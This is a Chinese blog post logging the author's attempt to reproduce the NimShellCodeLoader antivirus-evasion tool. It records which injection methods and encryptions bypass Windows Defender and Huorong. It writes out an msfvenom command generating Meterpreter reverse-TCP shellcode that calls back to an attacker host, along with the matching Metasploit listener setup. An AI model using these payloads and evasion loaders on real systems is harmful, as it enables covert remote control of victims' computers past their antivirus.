Nim之NimShellCodeLoader免杀学习

2022-04-15 09:06:35 浏览数 (1)

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

1. 前言

本来看着dayu师傅在freebuf上更新了NimShellCodeLoader免杀的文章,所以想着复现下,但是在复现中发现了很多的坑,本来想着都实现一波的,但是事实上由于种种原因,生成的木马执行报错、执行不上线、时间问题等问题有很多。我只对其是否能够过Windows Defender上进行了测试。

项目地址:

https://github.com/aeverj/NimShellCodeLoader

这里也看出了aeverj真的好厉害,人家的很多免杀思想可以让我好好学习好久。

这篇文章出不了啥免杀,但是绝对帮你把坑踩平了。 本文所有方法都过不了最新版Windows Defender,但是大部分方法过火绒,小一半的方法过360,或者叫过国内主流杀软应该是没问题的。

本文仅仅是简单的免杀堆叠,没有啥分析,后续会更新更多的免杀方法。

1.1 工具使用的坑

  • • 环境安装上有坑
  • • 编译出来的exe报错
  • • 编译出来的exe无法上线(少许加载方式)

相关的issue在作者的github上也已经有了:

代码语言:javascript复制
https://github.com/aeverj/NimShellCodeLoader/issues/6
代码语言:javascript复制
https://github.com/aeverj/NimShellCodeLoader/issues/4

‍‍‍‍‍‍‍‍

1.2 自行编译的坑

我按照作者的源代码进行编译的时候发现,除了Nim的模块编译,还需要C#的编译才行,这一点我没仔细看,所以大家如果使用的话,可以直接下载作者的最新版直接使用即可。

1. nim介绍

Nim 是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 PythonAdaModula)。(参考:https://nim-lang-cn.org/)

2. 环境准备

测试机1:Windows 10 Windows Defender最新版

测试机2:Windows Server2019Windows Defender最新版火绒联网最新版

攻击机:Mac msfcs4.3

在以下测试中,均关闭Windows Defender最新版的自动上传样本功能。

ps:因为环境问题,这里的免杀基本上没有进行太多的测试,只是提供了一些踩坑日记。

2.1 Nim安装

在以下链接上选择下载Windows

代码语言:javascript复制
https://nim-lang.org/install.html

然后选择x64位的下载:

Chrome浏览器下载的时候,会报毒:

在这里直接忽略就行了:

将得到的文件解压,然后再移动到C盘目录下(这个无所谓):

复制bin目录下的路径:

代码语言:javascript复制
C:nim-1.6.4_x64nim-1.6.4bin

将该路径添加到环境变量中去:

按照这个步骤,选择系统变量之后,找到Path,编辑,再新建:

将信息填入之后,保存,打开cmd命令窗口,输入nim

此时代表Nim安装成功;

2.2 安装MinGW

MinGW是为Nim编译所必须的,MinGW主要是编译CC 代码用的,在这里一共有两种方式:

  • • 直接下载MinGW安装
  • • 利用Nim自带的程序finish.exe安装

2.2.1 直接安装MinGW

首先按照教程,安装MinGW 在这里有下载链接地址:

代码语言:javascript复制
https://sourceforge.net/projects/mingw-w64/files/

下载最新版x64位版本:

64位系统建议选择x86_64-posix-sjlj

32位系统建议选择i686-posix-sjlj

MingGW64 版本区别于各版本说明 https://www.pcyo.cn/linux/20181212/216.html

将解压之后的文件放入到C盘根目录下:

然后来到bin目录下,使用命令行检查当前的gcc版本: gcc.exe --version

然后就是和上面一样,设置系统环境变量:在控制面板系统和安全系统中,选择高级系统设置高级环境变量,设置环境变量:

MinGW添加到系统环境变量中去:

完成之后,确认退出:在新的命令行中尝试输入gcc.exe --version

此时证明MinGW安装成功。

2.2.2 利用Nim自带的程序finish.exe安装

Nim的环境中,有一个程序是finish.exe,可以利用该程序下载MinGW的安装包:

在命令行里面启动这个文件,一路Y下去之后,下载完成,利用自带的7z压缩工具进行解压,解压之后就是手动配置环境变量。

下载完成之后,来到下载文件的目录:

代码语言:javascript复制
C:nim-1.6.4_x64nim-1.6.4distmingw64bin

复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd窗口,检测环境是否正常:

2.2.3 注意事项

上述的两种方法中只能使用一种,而且前提是先不使用Nim进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。

2.3 安装winim库

下载地址:

代码语言:javascript复制
https://github.com/khchen/winim

在当前路径下,使用nimble install 安装即可。

3. NimShellCodeLoader原版

NimShellCodeLoader是由Nim编写Windows平台shellcode免杀加载器,目前最新的版本为2022年2月3日更新的;版本号为0.3

代码语言:javascript复制
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3

下载下来,解压:

当前作者已经对该文件直接进行了编译,无须再次编译,下面开始测试:

3.1 Windows Defender静态杀毒

当前有Windows Defender最新版:

此时的Windows Defender显示安全无毒;

3.2 火绒静态杀毒

4. NimShellCodeLoader源代码编译

注意:当前编译需要c#编译,在这里我是失败的!!!从以下链接下载源代码版本:

代码语言:javascript复制
https://github.com/aeverj/NimShellCodeLoader/releases/tag/0.3

下载之后解压之后放到win10上,进入encryption目录下进行编译:

代码语言:javascript复制
nim c -d:release --opt:size Tdea.nim
代码语言:javascript复制
nim c -d:release --opt:size Caesar.nim

然后对项目进行C#编译,我本地没环境。

4. NimShellCodeLoader免杀测试

在下载NimShellCodeLoader之后,由于没有被杀毒软件查杀,所以在这里我们直接对其进行免杀测试:首先要做好准备工作:在攻击机启动msf,并且生成一个。

4.1 生成shellcode

首先用Msfvenom生成raw格式的shellcode,当前使用了shikata_ga_na编码模块:生成的监听机器为mac,ip为10.211.55.2,端口:1234

代码语言:javascript复制
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=1234 -f raw -o payload.bin

攻击机开启监听:

代码语言:javascript复制
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

payload拖到窗口中去:

此图来源于作者的项目介绍,稍微有一些小的改动:

代码语言:javascript复制
https://github.com/aeverj/NimShellCodeLoader

注意:以下生成免杀的系统全部关闭了杀软。

4.2 Cobalt Strike生成shellcode

在本地启动一个cs,然后连接:

建立监听,选择攻击-生成后门-Payload生成器,生成一个原始的shellcode文件:

生成payload

4.1 OEP_Hiijack_Inject_Load

4.1.1 凯撒加密

当前模块使用的是msfshellcode测试的:直接在这里点击生成:

生成的文件路径:

直接双击运行:此时msf上线正常:

4.1.2 免杀能力

火绒(成功)

测试下上线:

上线正常。

windwos Defender(失败)

秒杀

当前使用CS生成的shellcode进行测试:

双击之后上线正常:

同样无法过Windows Defender

4.1.3 3DES加密(无法执行)

使用第二种加密方式:3DES

此时生成的程序无法正常执行:

4.1.4 免杀能力

无法执行,此处略。

4.2 Thread_Hiijack_Inject_Load

4.2.1 凯撒加密(上线失败)

虽然可以生成,但是无法执行上线操作。

4.2.2 3DES加密(cs上线成功)

4.2.3 免杀能力

此时Windows Defender免杀失败

4.3 APC_Ijnect_Load

4.3.1 凯撒加密(上线失败)

此时cs上线失败!

4.3.2 DES加密(上线失败)

生成成功,但是上线失败。

4.3.3. 免杀能力(pass)

pass

4.4 Early_Bird_APC_Injetc_Load

4.4.1凯撒加密

image.png

上线测试:

image.png

4.4.2 免杀能力测试

Windows Defender免杀测试:被杀

image.png

4.4.3 3DES加密

image.png

双击之后,上线成功:

image.png

4.4.4 免杀能力测试

image.png

4.5 Direct_Load

4.5.1凯撒加密

image.png

双击之后上线:

image.png

4.5.2 免杀能力测试

Windows Defender直接查杀

image.png

4.5.3 3DES加密

image.png

双击之后直接上线:

image.png

4.5.4 免杀能力测试

直接被杀

image.png

4.6 Thread_Pool_Wait

4.6.2 凯撒加密

image.png

双击之后直接上线:

image.png

4.6.3 免杀能力测试

image.png

4.6.4 3DES加密

image.png

双击之后即可上线:

image.png

4.6.4 免杀能力

image.png

4.7 Fiber_Load

4.7.1 凯撒加密

image.png

双击之后上线:

image.png

4.7.2 免杀能力

image.png

4.7.3 3DES加密

image.png

双击之后即可上线:

image.png

4.7.4 免杀能力

image.png

4.8 CertEnumSystemStore

4.8.1 凯撒加密

image.png

image.png

4.8.2 免杀能力

image.png

4.8.3 3DES加密

image.png

双击之后上线正常:

image.png

4.8.4 免杀能力

image.png

4.9 CertEnumSystemStoreLocation

4.9.1 凯撒加密

image.png

双击之后,上线正常:

image.png

4.9.2 免杀能力

image.png

4.9.3 3DES加密

image.png

双击之后,正常上线:

image.png

4.9. 4 免杀能力

image.png

4.10 CopyFile2

4.10.1 凯撒加密

image.png

image.png

4.10.2 免杀能力

image.png

4.10.3 3DES加密

image.png

image.png

4.10.4 免杀能力

image.png

5. 其他免杀方法

由于篇幅问题,我在这里将后续的所有方法都进行了整理,分别生成了凯撒加密3des加密之后的文件,并且直接使用Windows Defender进行扫描杀毒,如果有免杀Windows Defender的文件,再进行其上线功能测试。其他的免杀方法如下:

5.1 EnumFontsW

5.2 EnumFontFamiliesW

5.3 EnumFontFamiliesExW

5.4 EnumDisplayMonitors

5.5 EnumDesktopWindows

5.6 EnumDesktopW

5.7 EnumChildWindows

5.8 CopyFileEx

5.9 CreateTimerQueueTimer_Tech

5.10 CryptEnumOIDInfo

5.11 EnumChildWindows

image.png

全部使用Windows Defender查杀:

image.png

查杀之后,清理电脑,看下有无能够存活的exe:

image.png

此时所有的exe全部被杀。。。。。。

image.png

6. 总结

在以上的测试中,NimShellCodeLoader提供的21种注入加载方法,而且还有两种不同的加密技术,并且密钥随机,每次生成的文件拥有不同的hash值。但是由于公开的原因,目前无法直接过Windows Defender(2022.03.17)。

因为篇幅原因,我并未对其是否免杀火绒和360进行测试,理论上将其中的绝大多数方法可以过火绒,大部分方法可以过360杀毒。(我并未对其进行测试,只是我的一个猜想)

当然,作者还提供了拓展的思路和指引,如果加上自己的某些修改,理论上将是可以过Windows Defender的,等后续有时间,我再学习学习。

0 人点赞